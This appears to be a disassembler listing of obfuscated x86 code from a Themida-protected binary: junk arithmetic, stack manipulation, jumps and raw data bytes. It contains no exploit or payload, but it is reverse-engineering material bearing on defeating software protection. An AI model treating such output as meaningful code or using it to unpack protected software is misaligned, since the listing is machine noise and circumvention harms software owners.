		dd 4C481h, 0FD5D0000h, 1CE868h,	24048900h, 4CB68h, 24148900h
		dd 0FF92D6E9h, 0E9CE31FFh, 0FFFF5C32h, 0D791E95Bh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_569F9E:				; CODE XREF: Themida_:005563F9j
		mov	eax, 1DCB1299h
		inc	eax
		xor	eax, 61E36614h
		shr	eax, 5
		not	eax
		jmp	loc_5604C6
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 0E959CE01h, 0FFFF80C2h, 0F4104ABBh, 5BDF2964h, 74FF575Dh
		dd 34FF0424h, 0C4815F24h, 4, 8B24048Fh,	1BE92424h, 0ACFFFEC3h
		dd 81B75351h, 0E9BBE780h, 0FFFF023Dh, 42762D58h, 9CE91834h
		dd 89FFFF5Fh, 8668241Ch, 5400005Eh, 8324048Fh, 5B042404h
		dd 1FE2BA52h, 0D6E92ECEh
		db 0CEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56A017:				; CODE XREF: Themida_:00560AB2j
		pop	edi
		add	ebp, esi
		add	ebp, 76CB6711h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55675F
; ---------------------------------------------------------------------------


loc_56A02B:				; CODE XREF: Themida_:005622D4j
		pop	esp
		mov	[esp], eax
		mov	al, dl
		jmp	loc_55C944
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 68F40C34h, 51BBC781h, 6DE93C48h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A047:				; CODE XREF: Themida_:00560263j
		add	edx, eax
		jmp	loc_564CD1
; ---------------------------------------------------------------------------


loc_56A04E:				; CODE XREF: Themida_:0056737Aj
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55B51D
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 4C681h, 34870000h, 24248B24h,	0DA9FE950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56A07A:				; CODE XREF: Themida_:00556244j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		jmp	loc_566186
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 63h
		dd 0FFA3D8E9h, 8E2C0FFh, 8004EAC0h, 0EB80A7C2h,	80D30020h
		dd 0ECE920C3h, 83FFFF6Eh, 148904ECh, 8F1CE924h,	1C89FFFFh
		dd 0E921B324h, 0FFFEBF16h, 0C102E95Ch, 0D7F7FFFFh, 0FFC409E9h
		dd 0E9E589FFh, 0FFFF8663h, 33241C31h, 6AE9241Ch
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A0D7:				; CODE XREF: Themida_:0055EF06j
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		dd 2474FF55h, 7DACE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A0E6:				; CODE XREF: Themida_:0056778Fj
		mov	eax, 1A85009Ah
		sub	edx, eax
		pop	eax
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5624E6
; ---------------------------------------------------------------------------
		dd 350EE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A10E:				; CODE XREF: Themida_:00563CB2j
		mov	[esp], ebp
		mov	ebp, 6A7F3BE7h
		jmp	loc_55713E
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0E9D000A6h, 0FFFEF12Ch, 826F4EBEh, 0B8505554h, 531549E6h
		dd 62E9C589h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A137:				; CODE XREF: Themida_:0056A7A1j
		mov	bl, 0A2h
		inc	bl
		push	dx
		mov	dl, 90h
		jmp	loc_559947
; ---------------------------------------------------------------------------
		dd 3477E952h, 9148FFFFh, 0A0E18141h, 81605379h,	13E433E9h
		dd 514E921h, 0E9560000h, 0FFFEE440h, 46EEBD55h,	0CD8170D0h
		dd 291E24C8h, 4E5C14Dh,	29AF581h, 0EA01E963h, 2434FF5Dh
		dd 0FEF965E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A185:				; CODE XREF: Themida_:0055B32Fj
		add	ebx, 51181557h
		xor	edi, ebx
		pop	ebx
		add	esi, edi
		mov	edi, [esp]
		push	esi
		push	esp
		jmp	loc_564160
; ---------------------------------------------------------------------------
aWhbet		db 'WhE’',0
		dd 0E7C1475Fh, 0F07E907h, 0C890000h, 6111B924h,	0D1413601h
		dd 4EC83E9h, 0BF243C89h, 3B5228BEh, 3C8BF909h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56088C
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 42474FFh, 0FFC9C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A1D9:				; CODE XREF: Themida_:005611C2j
		add	ecx, 0F2B513Dh
		mov	edi, ecx
		pop	ecx
		sub	edi, ecx
		pop	ecx
		dec	edi
		xor	edi, 536861A4h
		shr	edi, 5
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 29108CEDh
		add	edi, edx
		pop	edx
		xor	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55CDC2
; ---------------------------------------------------------------------------


loc_56A214:				; CODE XREF: Themida_:00561E40j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		jmp	loc_567624
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0DC06E956h, 5958FFFEh, 0E958C131h, 0FFFF746Bh
; ---------------------------------------------------------------------------


loc_56A240:				; CODE XREF: Themida_:0055D5F3j
		push	edx
		mov	edx, 46166869h
		xor	eax, edx
		pop	edx
		pop	ecx
		jmp	loc_562721
; ---------------------------------------------------------------------------


loc_56A24F:				; CODE XREF: Themida_:0055D2D5j
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	4
		pop	ebx
		jmp	loc_55F912
; ---------------------------------------------------------------------------


loc_56A264:				; CODE XREF: Themida_:00563703j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_567FB2
; ---------------------------------------------------------------------------
		dd 4C48158h, 89000000h,	240C8BCFh, 4C481h, 0F4680000h
		dd 0E900007Ch, 0FFFF8728h
; ---------------------------------------------------------------------------


loc_56A294:				; CODE XREF: Themida_:0055F651j
		xor	bh, 25h
		sub	bh, 29h
		sub	al, 0F7h
		sub	al, bh
		add	al, 0F7h
		pop	ebx
		sub	esp, 2
		mov	[esp], dx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 50h
		shr	dh, 7
		neg	dh
		shr	dh, 4
		push	ax
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 97h
		shl	cl, 3
		shr	cl, 4
		jmp	loc_557874
; ---------------------------------------------------------------------------
		dd 0F000585Bh, 5FB6525Ah, 0FEEFE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A2E9:				; CODE XREF: Themida_:00562687j
		push	198D070Bh
		pop	ebx
		inc	ebx
		dec	ebx
		sub	ebx, 330E39D4h
		sub	ebx, 0DAC39E55h
		mov	ebp, ebx
		pop	ebx
		not	ebp
		or	ebp, 4F387D8Fh
		add	ebp, 73CB26F9h
		push	ebp
		jmp	loc_563E64
; ---------------------------------------------------------------------------


loc_56A314:				; CODE XREF: Themida_:00559BDBj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_557078
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 6Bh
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A327:				; CODE XREF: Themida_:00558A50j
		pop	ebx
		add	al, bh
		push	edx
		mov	dh, 56h
		sub	al, dh
		pop	edx
		pop	bx
		sub	esp, 4
		jmp	loc_55BD03
; ---------------------------------------------------------------------------


loc_56A33A:				; CODE XREF: Themida_:00560FD9j
		or	esi, 6BF04C5Eh
		or	esi, 646A5BA3h
		xor	esi, 78143CBBh
		add	esi, 1
		add	esi, 89F75909h
		sub	ecx, esi
		pop	esi
		jmp	loc_55F170
; ---------------------------------------------------------------------------
		dd 815FFB01h, 4C3h, 241C3300h, 33241C31h, 0E95C241Ch, 0ADEh
		dd 5B2434FFh, 4C481h, 3E90000h,	87FFFF5Ah, 895C242Ch, 0EC81241Ch
		dd 4, 50242489h, 4B8h, 24440100h, 815B5804h, 4C3h, 4685200h
		dd 5A000000h, 0FFD0B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A3B5:				; CODE XREF: Themida_:00557B5Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	80h
		pop	ebx
		jmp	loc_55B57F
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E2892414h, 4C281h, 0EA830000h, 24148704h
		dd 0CE5E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A3E6:				; CODE XREF: Themida_:00557CF7j
		sub	edx, 2E5D0FCDh
		push	edi
		mov	edi, 35B89037h
		jmp	loc_560C13
; ---------------------------------------------------------------------------
		db 54h
		dd 4C5815Dh, 53000000h,	0FF75F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A405:				; CODE XREF: Themida_:005564B0j
		mov	[esp], esi
		mov	esi, esp
		push	4CD1h
		mov	[esp], edi
		mov	edi, 52194763h
		jmp	loc_55D1CD
; ---------------------------------------------------------------------------


loc_56A41C:				; CODE XREF: Themida_:0055F29Dj
		mov	edi, 5DCD6F21h
		mov	ecx, edi
		pop	edi
		mov	edi, ecx
		jmp	loc_560794
; ---------------------------------------------------------------------------


loc_56A42B:				; CODE XREF: Themida_:0055B1C2j
		mov	ecx, 5A371F9Ah
		xor	ecx, 549E2D85h
		add	ecx, 4A12DAEEh
		jmp	loc_564E86
; ---------------------------------------------------------------------------
		db 1, 74h, 24h
		dd 24448104h, 0E76DE604h, 0D4ADE913h, 0CB31FFFFh, 83240C8Bh
		dd 0C14304C4h, 0BF5702EBh, 27F7DE0Ch, 43C868h, 24348900h
		dd 0BF5422BEh, 0D667E956h, 159FFFEh, 0A4BD55CBh, 0E934200Ah
		dd 0FFFEFBC7h, 2A516851h, 0BEE90000h, 66FFFF6Ah, 6604E2C1h
		dd 0D712EA81h, 0BB665366h, 2966239Bh, 665B66D8h, 665E5F05h
		dd 97E9D001h, 83FFFF74h, 0D5E904C4h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A4B7:				; CODE XREF: Themida_:00566FEBj
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebx
		jmp	loc_566F0E
; ---------------------------------------------------------------------------
		dd 243C8B54h, 5304C483h, 0FEDD71E9h, 0D831ADFFh, 4EC81h
		dd 34890000h, 815E5424h, 4C6h, 4EE8300h, 31243433h, 34332434h
		dd 0B505E924h, 1C89FFFFh, 48FE6824h, 24890000h,	24048324h
		dd 0E9525B04h, 0FFFEB95Ch, 8B2434FFh, 0DFE92404h, 0FEFFFF54h
		dd 0C4B450C6h, 0EE9E608h, 88FFFF64h, 0D9E95BD9h, 89FFFF34h
		dd 40E9242Ch
		db 0D0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56A537:				; CODE XREF: Themida_:005663A4j
		mov	dx, cx
		pop	ecx
		neg	dx
		xor	dx, 0BEAh
		add	dx, 52BFh
		add	si, dx
		pop	edx
		add	si, 6073h
		jmp	loc_565089
; ---------------------------------------------------------------------------


loc_56A556:				; CODE XREF: Themida_:0056796Cj
		shr	ebp, 4
		not	ebp
		shr	ebp, 5
		push	1474h
		mov	[esp], ecx
		mov	ecx, 3E837A79h
		add	ecx, 34365720h
		sub	ecx, 0FFFFFFFFh
		shl	ecx, 2
		or	ecx, 4F24246Eh
		push	ecx
		inc	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 430116B1h
		or	ebp, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55A917
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 241C8704h, 8953515Ch, 0E9D989F3h, 0FFFF77A1h
; ---------------------------------------------------------------------------


loc_56A5BC:				; CODE XREF: Themida_:00559CF2j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5588F0
; ---------------------------------------------------------------------------
		db 89h
		dd 4BD242Ch, 81000000h,	6D23C2C2h, 7F8E925h, 34FF0000h
		dd 0C4815B24h, 4, 0D800762Ch, 0B5517604h, 8EDC03Fh, 0ED80EDD0h
		dd 2E5C013h, 0D3F6DD86h, 50DC8850h, 0C388E888h,	4EDDE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A626:				; CODE XREF: Themida_:00556F5Fj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	ecx, edi
		add	ecx, 35AA41CDh
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55AB04
; ---------------------------------------------------------------------------
		dd 0C8E9CBFEh, 81FFFEDFh, 5D5433C3h, 0DFC38116h, 81424A7Ah
		dd 361D59C3h, 81C32903h, 361D59EBh, 0DE7FE903h,	0CF01FFFFh
		dd 0F7815959h, 0CA8CD7C5h, 58D7BF57h, 5DE95CE5h, 33FFFFA4h
		dd 248B2414h, 0C4685224h, 89000071h, 4832424h, 148B0424h
		dd 4C48324h, 0FF8459E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A6A5:				; CODE XREF: Themida_:00557D30j
		mov	eax, 4
		add	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55F6F4
; ---------------------------------------------------------------------------
		db 53h
		dd 0C780E0B7h, 0AEEF808Bh, 0E6E9DFF6h, 81FFFF67h, 1D3E0BC3h
		dd 243C8B67h, 39DE9h, 34B1BF00h, 0FA293E98h, 0FFCEF3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A6E1:				; CODE XREF: Themida_:00566018j
		pop	edx
		push	ecx
		jmp	loc_556911
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 8704EF83h, 0BDE9243Ch, 81FFFFF9h, 72658AC1h
		dd 1AC18102h, 0E9DD3192h, 0FFFFB07Fh
; ---------------------------------------------------------------------------


loc_56A70C:				; CODE XREF: Themida_:00557462j
		add	ebx, edi
		xor	dword ptr [ebx], 5E2D3BDEh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_558DC9
; ---------------------------------------------------------------------------


loc_56A71F:				; CODE XREF: Themida_:0055C450j
		mov	ebp, 562933F9h
		xor	ebx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		add	ebx, 8E80FF56h
		push	3FACh
		mov	[esp], ebx
		push	6D0Dh
		jmp	loc_55788F
; ---------------------------------------------------------------------------
		db 5Ch,	56h, 0E9h
		dd 0FFFFF12Eh, 17E9D801h, 0F7FFFFEAh, 0BC2BE9D9h, 348BFFFFh
		dd 4C48324h, 0C8BC821h,	4EC8324h, 54240489h, 0FEBC01E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A77D:				; CODE XREF: Themida_:0055F5ECj
		pop	edx
		add	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	657Fh
		mov	[esp], esi
		push	7483h
		jmp	loc_55ACEA
; ---------------------------------------------------------------------------


loc_56A7A0:				; CODE XREF: Themida_:00556C66j
		push	ebx
		jmp	loc_56A137
; ---------------------------------------------------------------------------


loc_56A7A6:				; CODE XREF: Themida_:005606A4j
		push	ecx
		mov	ecx, 33DE0704h
		add	ebp, ecx
		pop	ecx
		xor	edi, ebp
		mov	ebp, [esp]
		jmp	loc_567016
; ---------------------------------------------------------------------------


loc_56A7B9:				; CODE XREF: Themida_:005634F0j
		shl	esi, 7
		dec	esi
		jmp	loc_556A8B
; ---------------------------------------------------------------------------
a11shoe		db '1Å1èhOE',0
		dw 8900h
		dd 5356242Ch, 5B1D5968h, 72DCE970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A7DA:				; CODE XREF: Themida_:0055FB13j
		mov	ecx, [edx]
		jmp	loc_557298
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 2414895Ch, 42474FFh,	0FF07DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A7F1:				; CODE XREF: Themida_:0055714Ej
		add	cl, 0A9h
		shr	cl, 8
		xor	cl, 0C6h
		xor	al, cl
		jmp	loc_55F87C
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0DAE95650h, 4DFFFEC0h, 0AEDBA52h, 0D529BC2Dh, 8BEE895Ah
		dd 0C481242Ch, 4, 0FECF88E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A825:				; CODE XREF: Themida_:00559BC5j
		pop	ebp
		add	ebp, 124379h
		add	ecx, ebp
		pop	ebp
		jmp	loc_564382
; ---------------------------------------------------------------------------
		dd 1488ABFh, 3EFC171h, 74B6EF81h, 0E78119A3h, 0AF36CE9h
		dd 3026F781h, 0B5E96560h, 8BFFFF51h, 0C483240Ch, 4685704h
		dd 5F000000h, 0FF454AE9h, 246C29FFh, 24448108h,	0AD5BC008h
		dd 242C8B25h, 4C481h, 5C010000h, 89570424h, 4C781E7h, 50000000h
		dd 0FFEAD6E9h, 98EB81FFh, 0E923AC36h, 0FFFEF103h, 57EBC281h
		dd 0CA010274h, 57EBEA81h, 0EA810274h, 26D606B4h, 81C22959h
		dd 367E88EAh, 0F1BE5612h, 0E938B028h, 0FFFF7FE8h
; ---------------------------------------------------------------------------


loc_56A8C0:				; CODE XREF: Themida_:0056437Dj
		mov	ebp, 4
		sub	edx, 40DB7E0Eh
		jmp	loc_55E39F
; ---------------------------------------------------------------------------
		dd 747C68h, 0C149E900h,	0C483FFFEh, 75BD5504h, 832F1863h
		dd 2C8904ECh, 2414F724h, 0ABA5E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A8F2:				; CODE XREF: Themida_:00564978j
		sub	eax, 5D671730h
		jmp	loc_563CAF
; ---------------------------------------------------------------------------
		dd 0FFEB815Ch, 43FFFFFFh, 0A0D8EB81h, 815339D5h, 20D2242Ch
		dd 5587461h, 746120D2h,	55E0D15Bh, 0FF205CE9h, 0EB815EFFh
		dd 38751524h, 0CB814B4Bh, 5EF50760h, 4F08C381h,	0DD8961F4h
		dd 0FEFE6DE9h, 2434FFFFh, 4C48159h, 68000000h, 4A46h, 0E9240C89h
		dd 0FFFEDBD8h, 0E92434FFh, 0FFFEE4B1h, 0BA241489h, 67D72E3Bh
		dd 98E9E2D1h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A96B:				; CODE XREF: Themida_:00561E9Fj
		mov	esi, 3E82FCBh
		jmp	loc_565A20
; ---------------------------------------------------------------------------


loc_56A975:				; CODE XREF: Themida_:0055A58Dj
		or	esi, 16694284h
		shr	esi, 1
		xor	esi, 796A7902h
		and	esi, 36701DD2h
		jmp	loc_558381
; ---------------------------------------------------------------------------


loc_56A98E:				; CODE XREF: Themida_:0055E103j
		mov	ecx, 4
		jmp	loc_5641AA
; ---------------------------------------------------------------------------


loc_56A998:				; CODE XREF: Themida_:0055EF2Dj
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_560678
; ---------------------------------------------------------------------------
		dd 0EA268h, 243C8900h, 0FFFE83E9h, 6DDC68FFh, 815B146Fh
		dd 6F6DD8EBh, 8BDA8914h, 0C481241Ch, 4,	0D2E9D001h, 29FFFF91h
		dd 6E28E9C8h, 5957FFFFh, 0CBE95A51h, 0FFFFFF58h, 5F042474h
		dd 8B24048Fh, 89532424h, 0B57BE9E3h, 0C681FFFFh, 11136F19h
		dd 0EE81FE01h, 11136F19h, 0FF0571E9h, 81F129FFh, 392468C1h
		dd 62CFE964h, 0D1F7FFFFh, 2BBF5741h, 810B111Fh,	8685BFC7h
		dd 8BF92978h, 0C481243Ch, 4, 0FEE4BFE9h, 2079B0FFh, 6F45E9C7h
		dd 2C8BFFFFh, 4C48324h,	0E924048Fh, 0FFFF886Ah,	0FA7AE957h
		dd 34FFFFFFh, 0C4815B24h, 4, 0B60FC330h, 6B7E9C0h, 0B850FFFFh
		dd 4, 34FFC501h, 0B2F3E924h, 8950FFFEh,	405E0h,	0BD550000h
		dd 4, 875DE801h, 0E95C2404h, 0FFFFC5D4h, 4EC81h, 45E90000h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AA97:				; CODE XREF: Themida_:00555E7Bj
		mov	edi, 22DC1D7Eh
		add	eax, 71046B45h
		sub	eax, 4BAB5309h
		jmp	loc_561768
; ---------------------------------------------------------------------------
		db 80h
		dd 34FF0EE9h, 0E3E95824h
		db 6, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AAB7:				; CODE XREF: Themida_:00563ADEj
		add	bl, 10h
		sub	bl, al
		sub	bl, 10h
		add	bl, 0FDh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		xor	dword ptr [esp], 7E5622CCh
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		jmp	loc_5591C4
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68100h, 87000000h, 248B2434h, 0EEEE8124h, 0E92BE108h
		dd 0FFFF7D73h, 24048B66h, 50E28952h, 637F87B8h,	7D01E90Eh
		dd 3C8BFFFFh, 4E79E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AB1E:				; CODE XREF: Themida_:0055AF58j
		mov	ebx, ecx
		pop	ecx
		shl	ebx, 7
		xor	ebx, 0DD549E0Bh
		sub	edi, ebx
		pop	ebx
		xor	ebp, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_55ED88
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 0F3ACE924h, 0BE56FFFFh, 44FC0994h, 0C8E9F001h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AB4F:				; CODE XREF: Themida_:00569CC9j
		mov	eax, esp
		jmp	loc_55B215
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 1C896602h, 6879B324h, 3B2Ah,	137E9h,	4C48100h, 81000000h
		dd 4C5h, 90E95600h, 66FFFF62h, 66241489h, 66504E68h, 0E9240C89h
		dd 0FFFFB574h, 24048B66h, 38F468h, 243C8900h, 0FEF80DE9h
		dd 4C381FFh, 55000000h,	0FF943BE9h, 0F7D0F7FFh,	1B8E0DD0h
		dd 52D39B3h, 48B2AC2Ch,	508E0C1h, 50F19E6Ah, 0D158C529h
		dd 0F4BB53E5h, 292F28BCh, 0EF015BDDh, 0E189515Dh, 4C181h
		dd 7AE90000h
		db 2, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ABDF:				; CODE XREF: Themida_:0055CD7Bj
		sub	ebp, 76705C2h
		jmp	loc_5699D7
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 24B9h, 8BEE8100h,	0E9284E51h, 0FFFF70C4h
		dd 2B9h, 75C80500h, 0C8011976h,	7675C82Dh, 240C8B19h, 4C481h
		dd 4330000h, 24043124h,	8B240433h, 4202424h, 95E99C24h
		dd 29FFFEB0h, 64685FF8h, 89000002h, 0FCE9242Ch
		db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56AC3F:				; CODE XREF: Themida_:0055770Dj
		inc	ebx
		push	edi
		push	eax
		push	4EDC78B3h
		pop	eax
		jmp	loc_5693DC
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 0E95604C7h, 0FFFEEB97h, 0D0C6F280h, 7E29E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AC66:				; CODE XREF: Themida_:0055A5EAj
		add	eax, 4C6F1356h
		jmp	loc_5658BB
; ---------------------------------------------------------------------------
		dd 4EA8159h, 0E9000000h, 0FFFF0338h, 0C2289304h, 0FED185E9h
		dd 537234FFh, 0C38009B3h, 0E9B904F5h, 0FFFF7E16h, 592434FFh
		dd 0E95F5457h, 0FFFEBF47h, 0E9241C89h, 0FFFFD38Bh
; ---------------------------------------------------------------------------


loc_56ACA8:				; CODE XREF: Themida_:005680D1j
		mov	ecx, esp
		jmp	loc_568FA1
; ---------------------------------------------------------------------------
		db 55h
		dd 4EC81h, 3C890000h, 5BD2BF24h, 81E94DF6h, 0BDFFFF54h
		dd 115E3F7Ch, 8145EDD1h, 9F6935F5h, 0D336E939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ACD6:				; CODE XREF: Themida_:00566181j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_55C1F7
; ---------------------------------------------------------------------------


loc_56ACE7:				; CODE XREF: Themida_:005688C9j
		xor	ebp, edi
		pop	edi
		and	esi, ebp
		jmp	loc_559CB5
; ---------------------------------------------------------------------------


loc_56ACF1:				; CODE XREF: Themida_:00568EBBj
		and	ebp, 3843673Dh
		add	ebp, 0FFFFFFFFh
		jmp	loc_55B313
; ---------------------------------------------------------------------------


loc_56AD02:				; CODE XREF: Themida_:0056061Fj
		push	dword ptr [esp]
		jmp	loc_562D7F
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0F49CDA65h, 0A8D6E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AD16:				; CODE XREF: Themida_:00567E88j
		push	52BD6696h
		jmp	loc_558CB0
; ---------------------------------------------------------------------------
		dd 0E924348Bh, 0FFFF1DBCh, 743811BFh, 2FC7817Ah, 0C105C163h
		dd 0B95105E7h, 0FFFFFFFFh, 0E959CF01h, 0FFFF147Dh, 4BBh
		dd 0C6C68100h, 2940C656h, 275AE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AD56:				; CODE XREF: Themida_:00569B0Dj
		pop	ebx
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	4C6327A4h
		jmp	loc_562AC3
; ---------------------------------------------------------------------------


loc_56AD75:				; CODE XREF: Themida_:0055794Cj
		inc	ebp
		sub	ebp, 11D03B5h
		push	ecx
		mov	ecx, 5B7075B6h
		sub	ecx, 130D43F4h
		shr	ecx, 8
		not	ecx
		add	ecx, 7ECB81DFh
		sub	ebp, 765F32DCh
		add	ebp, ecx
		add	ebp, 765F32DCh
		pop	ecx
		sub	ebp, 7D9A94A5h
		sub	esi, 18F13A82h
		jmp	loc_568AFB
; ---------------------------------------------------------------------------


loc_56ADB3:				; CODE XREF: Themida_:00566C49j
		mov	[esp], esi
		push	edx
		mov	edx, 5DCC39D1h
		shl	edx, 3
		or	edx, 28AF0924h
		sub	edx, 0E8F725ACh
		push	edx
		pop	esi
		jmp	loc_5582D2
; ---------------------------------------------------------------------------
		dw 805Bh
		dd 0E5C0F0F5h, 0A8CD8005h, 0ED80DDF6h, 0F148E969h, 1489FFFFh
		dd 0CD3DE924h, 0EA01FFFEh, 23C2EA81h, 555D256Dh, 0E23EEABDh
		dd 0F7CD872Eh, 0E9CD87D1h, 0FFFF61D6h
; ---------------------------------------------------------------------------


loc_56AE08:				; CODE XREF: Themida_:0055FF5Dj
		sub	[esp+8], eax
		jmp	loc_56815B
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
		dd 31243C33h, 2EE9243Ch, 0F7FFFFA9h, 0EE814EDEh, 0DA8FBE10h
		dd 875EF029h, 895C2404h, 51522424h, 5A42ABB9h, 42AFBA65h
		dd 0CA29655Ah, 0FD97E959h, 0ED68FFFEh, 89000014h, 0E389241Ch
		dd 0B5B8E951h, 0EC83FFFFh, 242C8904h, 682684BDh, 8BEB0167h
		dd 0C483242Ch, 0E9F30104h, 0FFFF652Eh, 24348152h, 1BA22BA8h
		dd 83241C8Bh, 0F38104C4h, 1BA22BA8h, 8BDD015Ah,	1E9241Ch
		dd 88FFFF94h, 0E1885AD4h, 0FF636DE9h, 0BEE95FFFh
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AE9F:				; CODE XREF: Themida_:00565C84j
		sub	ebp, edi
		pop	edi
		push	esi
		mov	esi, 76705C2h
		add	ebp, esi
		pop	esi
		pop	eax
		sub	ebp, eax
		sub	ebp, 2CD52E95h
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		dw 875Bh
		dd 0F5C2404h, 9C51C8AFh, 0FEADF3E9h, 1EB83FFh, 0FF2D4AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AED9:				; CODE XREF: Themida_:0055904Fj
		push	ebx
		push	7C6D11F7h
		pop	ebx
		not	ebx
		add	ebx, 434C0067h
		shl	ebx, 3
		dec	ebx
		not	ebx
		jmp	loc_568C4E
; ---------------------------------------------------------------------------


loc_56AEF3:				; CODE XREF: Themida_:005652C1j
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_561C65
